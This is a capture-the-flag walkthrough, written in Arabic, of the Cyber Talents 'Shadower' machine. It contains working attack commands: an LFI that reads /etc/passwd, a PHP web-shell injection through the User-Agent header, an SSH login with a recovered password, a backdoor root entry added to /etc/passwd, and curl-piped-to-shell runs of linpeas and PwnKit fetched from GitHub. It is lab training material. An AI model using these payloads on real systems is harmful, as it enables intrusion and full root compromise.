CTF

Shadower Machine From Cyber Talents

7/29/2025

Shadower Machine From Cyber Talents

🎯 Challenge Name: Shadower

Platform: Cyber Talents
Category: Web Exploitation + Linux Privilege Escalation
Difficulty: Medium
Goal: Get a shell on the server → escalate to root → capture the flag

أول حاجة نشغل ال Machine :

start challange

Challenge IP: 54.67.92.245

🔍 الخطوة الأولى: فحص الشبكة باستخدام Nmap

📌 الأمر المستخدم:

sh
nmap -sC -sV -Pn 54.67.92.245

📖 الشرح:

هذه السكربتات تفيد في جمع معلومات إضافية عن الخدمات مثل إصدارات البرامج، الثغرات البسيطة، وغيرها.
مثال: إذا كان فيه خادم Apache على البورت 80، سيُظهر إصدار Apache.
تُستخدم هذه الخيار عند حظر ICMP Echo Requests (يعني الهدف ما بيردش على ping)، فنفحص مباشرة بدون التأكد من أنه حيّ.

الناتج :

Nmap results

🚪 المنافذ المفتوحة والمعلومات اللي قدرنا نجمعها:

✅ المنافذ المفتوحة:

🟡 المنافذ المفلترة (Filtered):

نلاحظ إن التلاتة دول حالتهم "filtered"، وده معناه إن السيرفر بيرفض يرد عليهم أو فيه جدار ناري (firewall) مانع الوصول.

🧠 استنتاجات أولية:

➕ الخطوة الجاية نبص ع الموقع :

افتح المتصفح وروح على الرابط ده:
http://54.67.92.245شوف شكل الصفحة، ولو لقيت صفحة Default بتاعت Apache، نبدأ نفحصها بأدوات زي:

هنستخدم أداة GoBuster :

🎯 الهدف من الأمر:

sh
gobuster dir -u http://54.67.92.245 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -t 40 

الناتج:

gobuster results

تع نشوف كل ملف بيحتوي ع أي :

Blog image

الصفحة الافتراضية الخاصة ب apache

root source code

مفيش حاجة مفيدة

Blog image
فاضية بس هنبص ع ال source code

Blog image

بس لسة مش عارفين ده ل أي بالظبط ف هنخليه ف ملف الملاحظات بتاعنا

Blog image

مفيش حاجة مفيدة حتي لما زورت الصفحات اللي ليها لينكات دي ف قولت يمكن الصورة فيها حاجة مستخبية او معلومات او ملفات ف حملت الصورة وجربت عليها كذا اداة

✅ خطوات لتحليل security.png:

🔸 1. جرّب binwalk للبحث عن ملفات مخفية داخل الصورة:

sh
binwalk security.png

لو فيه ملفات مخفية (ZIP، نصوص، ملفات PNG ثانية)، هيظهرلك offsets تقدر تستخرجها بـ:

sh
binwalk -e security.png

🔸 2. جرب zsteg (لتحليل steganography على PNG):

sh
zsteg security.png
بيكشف عن رسائل مخفية بالـ LSB في الصور PNG.

🔸 3. شوف لو فيه أي Metadata بالصورة:

sh
exiftool security.png
أحيانًا بيكون فيه Notes أو Comment مخفية.

🔸 4. استخدام strings:

sh
strings security.png | less
ابحث عن كلمات شبه:
flag, cve, password, secret, maxsecure, audit, إلخ...

✅ مثال على نتائج ممكنة:

sh
binwalk security.png 0x00000120 - PNG image 0x0000A040 - Zip archive data, at offset 0xA040

وقتها تعمل:

sh
dd if=security.png bs=1 skip=41024 of=hidden.zip unzip hidden.zip

Blog image

بعد تدوير شوية وشوية وشوية وشوية 😂😂

اكتشفت ان الروابط ممكن تسبب LFI (Local File Inclusion)

🐚 ما هي ثغرة LFI؟

LFI = Local File Inclusion = تضمين ملفات محلية

ثغرة LFI بتحصل لما الموقع يسمحلك تحدد اسم ملف موجود على السيرفر، ويقوم السيرفر بقراءته أو تنفيذه بدون تحقق كافي.

💣 مثال عملي:

لو عندك لينك زي ده:

html
http://example.com/index.php?page=home

الـ page=home معناها إن الموقع بيعمل كده في الكود:

php
include($_GET['page'] . ".php");

لو أنت غيرت الرابط كده:

html
http://example.com/index.php?page=../../../../etc/passwd

السيرفر هيحاول يقرأ الملف ده:

sh
../../../../etc/passwd.php

لكن لو .php مش متضافة تلقائي، أو الكود بيستخدم include($page) مباشر بدون إضافات، فهتقدر توصل لأي ملف في النظام!

ف تع نبص

sh
 curl 'http://54.241.254.27/index.php?view=about-us.html'

الناتج

html
<html>
    <head>
        <link href="https://fonts.googleapis.com/css?family=IBM+Plex+Sans" rel="stylesheet"> 
        <link rel="stylesheet" type="text/css" href="style.css">
    </head>
    <body>
        <div class="menu">
            <a href="index.php">Main Page</a>
            <a href="index.php?view=about-us.html">About Us</a>
            <a href="index.php?view=contact-us.html">Contact</a>
        </div>
<p></p>    </body>
</html>

تع نجرب LFI

sh
curl 'http://54.241.254.27/index.php?view=../../../../etc/passwd'

الناتج

html
<html>
    <head>
        <link href="https://fonts.googleapis.com/css?family=IBM+Plex+Sans" rel="stylesheet"> 
        <link rel="stylesheet" type="text/css" href="style.css">
    </head>
    <body>
        <div class="menu">
            <a href="index.php">Main Page</a>
            <a href="index.php?view=about-us.html">About Us</a>
            <a href="index.php?view=contact-us.html">Contact</a>
        </div>
<p>
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
john:x:1001:1001:,,,:/home/john:/bin/bash
zerotier-one:x:999:999::/var/lib/zerotier-one:/bin/sh
</p>    </body>
</html>

كدا عرفنا اسماء المستخدمين 🔥

تع نجرب نحول ال LFI to RCE (Remote Code Execution)

المقالة دي حلوة برضة هنا

1. 🐍 احقن كود PHP في الـ access log:

مثلاً تبعت request فيه الكود في الـ User-Agent:

sh
curl -A "<?php system(\$_GET['cmd']); ?>" http://54.67.92.245

كده كود الـ PHP هيتسجل جوه ملف:

text
/var/log/apache2/access.log

2. 🕳️ استغل LFI لقراءة الملف ده:

افترض إن LFI موجودة في:

sh
http://54.67.92.245/index.php?view=

جرب:

sh
http://54.67.92.245/index.php?view=/var/log/apache2/access.log&cmd=id

لو السيرفر فعلاً عامل include للملف، الكود هيتنفذ وهيرجعلك نتيجة id.

3. 🖥️ اتأكد إنه اشتغل:

هتشوف رد زي:

sh
uid=33(www-data) gid=33(www-data) groups=33(www-data)

ده معناه إنك قدرت تنفذ أوامر على السيرفر بنجاح!

لكن منجحش بعد محاولات كتير 💀

Blog image
sh
cat ./hashed.txt | base64 -d

sh
cat ./hashed.txt | base64 -d | base64 -d | base64 -d | ......etc

Blog image

كدا معانا password و اسم john ف لما جربت البورت 22 الخاص ب ال ssh

sh
ssh john@54.241.254.27

وبكدا عملنا هاك ع الماشين

sh
john@ip-172-31-20-131:~$ whoami
john

🤖 محتاجين نعلي صلاحياتنا من john ل root

علي جهاز الضحية :

sh
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

Blog image

✅ الفكرة:

لو ملف /etc/passwd قابل للكتابة لأي مستخدم (-rw-rw-rw- أو -rw-r--r-- أو فيه w لأي حد غير root)، تقدر تضيف مستخدم جديد أو تعدّل على باسوورد مستخدم موجود (زي root) من غير ما تحتاج إذن.

🧠 خلفية تقنية سريعة:

ملف /etc/passwd بيحتوي على بيانات المستخدمين، والصيغة بتاعته كده:

sh
username:x:UID:GID:comment:home:shell

🎯 خطوات التصعيد:

1. أنشئ هاش لكلمة سر بصيغة تقبلها /etc/passwd

sh
openssl passwd -1 -salt razook password123

هيطلعلك حاجة زي:

sh
$1$razook$z2VXKkbIa0WSisPVEHxVq1

2. أضف سطر جديد للمستخدم بصلاحيات root

افتح /etc/passwd بأي محرر (لو عندك صلاحية الكتابة):

sh
nano /etc/passwd

ضيف السطر ده:

sh
hacker:$1$razook$z2VXKkbIa0WSisPVEHxVq1:0:0:hacked:/root:/bin/bash

ده معناه:

3. سجل دخول بالمستخدم الجديد:

sh
su hacker # هيدخلك root لو كتبت الباسورد: password123

✔️ في طريقة تانية

Blog image

PwnKit

sh
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"

Blog image

مبارك عليك التحدي اتحل وعقليتك اتطورت 🎉